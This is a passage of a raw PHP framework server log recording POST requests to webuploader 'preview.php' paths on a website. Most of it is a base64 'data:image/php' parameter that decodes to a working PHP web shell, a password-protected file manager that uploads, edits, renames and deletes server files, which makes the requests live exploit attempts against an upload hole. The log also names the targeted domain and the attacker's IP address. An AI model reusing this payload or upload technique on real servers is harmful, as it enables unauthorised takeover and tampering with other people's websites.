lcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:02+08:00 ] 119.42.146.234 POST 51tianwei.com/static/admin/js/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002291s] [吞吐率:436.50req/s] [内存消耗:160.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5' => '', 'js' => 'plugins', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:05+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/Admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.003197s] [吞吐率:312.77req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXA